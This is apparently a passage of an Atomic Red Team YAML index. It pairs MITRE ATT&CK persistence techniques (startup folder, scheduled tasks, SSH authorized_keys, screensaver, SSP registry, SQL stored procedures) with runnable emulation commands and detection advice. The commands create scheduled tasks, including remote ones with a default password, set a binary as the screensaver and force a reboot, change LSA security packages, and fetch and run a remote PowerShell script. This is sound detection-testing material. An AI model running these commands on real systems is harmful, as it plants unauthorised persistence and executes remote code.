          Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore
          Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Add Executable Shortcut Link to User Startup Folder
      auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d
      description: 'Adds a non-malicious executable shortcut link to the current users
        startup directory. Test can be verified by going to the users startup directory
        and checking if the shortcut link exists. '
      supported_platforms:
      - windows
      executor:
        command: "$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation
          = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell
          = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath
          = $Target\n$Create.Save()      "
        cleanup_command: Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start
          Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1505.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1505.001
        url: https://attack.mitre.org/techniques/T1505/001
      - source_name: NetSPI Startup Stored Procedures
        url: https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
        description: 'Sutherland, S. (2016, March 7). Maintaining Persistence via
          SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019.'
      - source_name: Kaspersky MSSQL Aug 2019
        url: https://securelist.com/malicious-tasks-in-ms-sql-server/92167/
        description: 'Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote
          attack on Microsoft SQL Server. Retrieved September 4, 2019.'
      - source_name: Microsoft xp_cmdshell 2017
        url: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017
        description: Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved
          September 9, 2019.
      - source_name: Microsoft CLR Integration 2017
        url: https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017
        description: Microsoft. (2017, June 19). Common Language Runtime Integration.
          Retrieved July 8, 2019.
      - source_name: NetSPI SQL Server CLR
        url: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
        description: Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies.
          Retrieved July 8, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: SQL Stored Procedures
      description: "Adversaries may abuse SQL stored procedures to establish persistent
        access to systems. SQL Stored Procedures are code that can be saved and reused
        so that database users do not waste time rewriting frequently used SQL queries.
        Stored procedures can be invoked via SQL statements to the database using
        the procedure name or via defined events (e.g. when a SQL server application
        is started/restarted).\n\nAdversaries may craft malicious stored procedures
        that can provide a persistence mechanism in SQL database servers.(Citation:
        NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute
        operating system commands through SQL syntax the adversary may have to enable
        additional functionality, such as xp_cmdshell for MSSQL Server.(Citation:
        NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation:
        Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language
        runtime (CLR) integration. With CLR integration enabled, application developers
        can write stored procedures using any .NET framework language (e.g. VB .NET,
        C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft
        or modify CLR assemblies that are linked to stored procedures since these
        CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI
        SQL Server CLR) "
      id: attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-25T23:30:20.638Z'
      created: '2019-12-12T14:59:58.168Z'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      x_mitre_detection: 'On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation:
        NetSPI Startup Stored Procedures) Consider enabling audit features that can
        log malicious startup activities.'
      x_mitre_contributors:
      - Carlos Borges, @huntingneo, CIP
      - Lucas da Silva Pereira, @vulcanunsec, CIP
      - Kaspersky
      x_mitre_platforms:
      - Windows
      - Linux
    atomic_tests: []
  T1098.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1098.004
        url: https://attack.mitre.org/techniques/T1098/004
      - source_name: SSH Authorized Keys
        url: https://www.ssh.com/ssh/authorized_keys/
        description: ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June
          24, 2020.
      - source_name: Venafi SSH Key Abuse
        url: https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities
        description: 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity
          Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24,
          2020.'
      - source_name: Cybereason Linux Exim Worm
        url: https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability
        description: Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting
          Linux Exim Server Vulnerability. Retrieved June 24, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: SSH Authorized Keys
      description: |-
        Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.

        Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)
      id: attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-06-25T16:32:23.367Z'
      created: '2020-06-24T12:42:35.144Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        Use file integrity monitoring to detect changes made to the <code>authorized_keys</code> file for each user on a system. Monitor for suspicious processes modifying the <code>authorized_keys</code> file.

        Monitor for changes to and suspicious processes modifiying <code>/etc/ssh/sshd_config</code>.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1098.004
    atomic_tests:
    - name: Modify SSH Authorized Keys
      auto_generated_guid: 342cc723-127c-4d3a-8292-9c0c6b4ecadc
      description: "Modify contents of <user-home>/.ssh/authorized_keys to maintain
        persistence on victim host. \nIf the user is able to save the same contents
        in the authorized_keys file, it shows user can modify the file.\n"
      supported_platforms:
      - macos
      - linux
      executor:
        name: bash
        elevation_required: false
        command: 'if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat
          ~/.ssh/authorized_keys); echo $ssh_authorized_keys > ~/.ssh/authorized_keys;
          fi;

'
        cleanup_command: 'unset ssh_authorized_keys

'
  T1053.005:
    technique:
      created: '2019-11-27T14:58:00.429Z'
      modified: '2020-12-30T14:26:44.730Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1053.005
        url: https://attack.mitre.org/techniques/T1053/005
      - url: https://twitter.com/leoloobeek/status/939248813465853953
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        source_name: Twitter Leoloobeek Scheduled Task
      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        source_name: TechNet Forum Scheduled Task Operational Setting
      - url: https://technet.microsoft.com/library/dd315590.aspx
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        source_name: TechNet Scheduled Task Events
      - source_name: Microsoft Scheduled Task Events Win10
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scheduled Task
      description: |-
        Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The <code>schtasks</code> can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

        The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though <code>at.exe</code> can not access tasks created with <code>schtasks</code> or the Control Panel.

        An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
      id: attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.

        Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)

        * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
        * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
        * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
        * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
        * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
        * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Windows
      identifier: T1053.005
    atomic_tests:
    - name: Scheduled Task Startup Script
      auto_generated_guid: fec27f65-db86-4c2d-b66c-61945aee87c2
      description: |
        Run an exe on user logon or system startup.  Upon execution, success messages will be displayed for the two scheduled tasks. To view
        the tasks, open the Task Scheduler and look in the Active Tasks pane.
      supported_platforms:
      - windows
      executor:
        command: |
          schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
          schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
        cleanup_command: |
          schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
          schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Scheduled task Local
      auto_generated_guid: 42f53695-ad4a-4546-abb6-7d837f644a71
      description: 'Upon successful execution, cmd.exe will create a scheduled task
        to spawn cmd.exe at 20:10.

'
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: String
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: String
          default: '20:10'
      executor:
        name: command_prompt
        elevation_required: false
        command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}

'
        cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1

'
    - name: Scheduled task Remote
      auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd
      description: |
        Create a task on a remote system.

        Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
      supported_platforms:
      - windows
      input_arguments:
        task_command:
          description: What you want to execute
          type: String
          default: C:\windows\system32\cmd.exe
        time:
          description: What time 24 Hour
          type: String
          default: '20:10'
        target:
          description: Target
          type: String
          default: localhost
        user_name:
          description: 'Username to authenticate with, format: DOMAIN\User'
          type: String
          default: DOMAIN\user
        password:
          description: Password to authenticate with
          type: String
          default: At0micStrong
      executor:
        name: command_prompt
        elevation_required: true
        command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
          "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}

'
        cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password}
          /TN "Atomic task" /F >nul 2>&1

'
    - name: Powershell Cmdlet Scheduled Task
      auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd
      description: |
        Create an atomic scheduled task that leverages native powershell cmdlets.

        Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Action = New-ScheduledTaskAction -Execute "calc.exe"
          $Trigger = New-ScheduledTaskTrigger -AtLogon
          $User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
          $Set = New-ScheduledTaskSettingsSet
          $object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
          Register-ScheduledTask AtomicTask -InputObject $object
        cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false
          >$null 2>&1

'
    - name: Task Scheduler via VBA
      auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3
      description: |
        This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within
        30 - 40 seconds after this module has run
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: String
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

'
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1053.005\\src\\T1053.005-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Scheduler\"\n"
        name: powershell
    - name: WMI Invoke-CimMethod Scheduled Task
      auto_generated_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b
      description: 'Create an scheduled task that executes notepad.exe after user
        login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing
        as Register-ScheduledTask cmdlet behind the scenes.

'
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: true
        command: |
          $xml = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml")
          Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
        cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false
          >$null 2>&1

'
  T1053:
    technique:
      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Scheduled Task/Job
      description: |-
        Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

        Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).
      external_references:
      - source_name: mitre-attack
        external_id: T1053
        url: https://attack.mitre.org/techniques/T1053
      - external_id: CAPEC-557
        source_name: capec
        url: https://capec.mitre.org/data/definitions/557.html
      - url: https://technet.microsoft.com/en-us/library/cc785125.aspx
        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
          June 8, 2016.
        source_name: TechNet Task Scheduler Security
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-20T16:31:11.405Z'
      created: '2017-05-31T21:30:46.977Z'
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Containers
      x_mitre_remote_support: true
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc. \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement."
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Container: Container Creation'
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Prashant Verma, Paladion
      - Leo Loobeek, @leoloobeek
      - Travis Smith, Tripwire
      - Alain Homewood, Insomnia Security
      x_mitre_version: '2.1'
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1546.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.002
        url: https://attack.mitre.org/techniques/T1546/002
      - source_name: Wikipedia Screensaver
        description: Wikipedia. (2017, November 22). Screensaver. Retrieved December
          5, 2017.
        url: https://en.wikipedia.org/wiki/Screensaver
      - source_name: ESET Gazer Aug 2017
        description: 'ESET. (2017, August). Gazing at Gazer: Turla’s new second stage
          backdoor. Retrieved September 14, 2017.'
        url: https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Screensaver
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.

        The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:

        * <code>SCRNSAVE.exe</code> - set to malicious PE path
        * <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
        * <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
        * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed

        Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)
      id: attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-23T12:23:04.955Z'
      created: '2020-01-24T13:51:01.210Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.

        Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_contributors:
      - Bartosz Jerzman
      x_mitre_platforms:
      - Windows
      identifier: T1546.002
    atomic_tests:
    - name: Set Arbitrary Binary as Screensaver
      auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64
      description: 'This test copies a binary into the Windows System32 folder and
        sets it as the screensaver so it will execute for persistence. Requires a
        reboot and logon.

'
      supported_platforms:
      - windows
      input_arguments:
        input_binary:
          description: Executable binary to use in place of screensaver for persistence
          type: Path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
          reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
          shutdown /r /t 0
        name: command_prompt
        elevation_required: true
  T1547.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.005
        url: https://attack.mitre.org/techniques/T1547/005
      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
        source_name: Graeber 2014
      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
          Retrieved June 24, 2015.
        source_name: Microsoft Configure LSA
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Security Support Provider
      description: |-
        Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

        The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
      id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-25T15:42:48.910Z'
      created: '2020-01-24T17:16:11.806Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys.
        Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
        R2 may generate events when unsigned SSP DLLs try to load into the LSA by
        setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
        File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
        2014) (Citation: Microsoft Configure LSA)'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
      identifier: T1547.005
    atomic_tests:
    - name: Modify SSP configuration in registry
      auto_generated_guid: afdfd7e3-8a0b-409f-85f7-886fdf249c9e
      description: Add a value to a Windows registry SSP key, simulating an adversarial
        modification of those keys.
      supported_platforms:
      - windows
      input_arguments:
        fake_ssp_dll:
          description: Value added to registry key. Normally refers to a DLL name
            in C:\Windows\System32.
          type: String
          default: not-a-ssp
      executor:
        command: |
          # run these in sequence
          $SecurityPackages = Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'
          $SecurityPackagesUpdated = $SecurityPackages
          $SecurityPackagesUpdated += "#{fake_ssp_dll}"
          Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated

          # revert (before reboot)
          Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
        name: powershell
        elevation_required: true
  T1505:
    technique:
      id: attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb
      description: Adversaries may abuse legitimate extensible development features
        of servers to establish persistent access to systems. Enterprise server applications
        may include features that allow developers to write and install software or
        scripts to extend the functionality of the main application. Adversaries may
        install malicious components to extend and abuse server applications.
      name: Server Software Component
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1505
        url: https://attack.mitre.org/techniques/T1505
      - url: https://www.us-cert.gov/ncas/alerts/TA15-314A
        description: US-CERT. (2015, November 13). Compromised Web Servers and Web
          Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.
        source_name: US-CERT Alert TA15-314A Web Shells
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-09-16T19:34:19.961Z'
      created: '2019-06-28T17:52:07.296Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Application Log: Application Log Content'
      x_mitre_detection: "Consider monitoring application logs for abnormal behavior
        that may indicate suspicious installation of application software components.
        Consider monitoring file locations associated with the installation of new
        application software components such as paths from which applications typically
        load such extensible components.\n\nProcess monitoring may be used to detect
        servers components that perform suspicious actions such as running cmd.exe
        or accessing files. Log authentication attempts to the server and any unusual
        traffic patterns to or from the server and internal network. (Citation: US-CERT
        Alert TA15-314A Web Shells) "
    atomic_tests: []
  T1574.010:
    technique:
      created: '2020-03-12T20:43:53.998Z'
      modified: '2020-09-16T19:10:04.262Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd
      description: |-
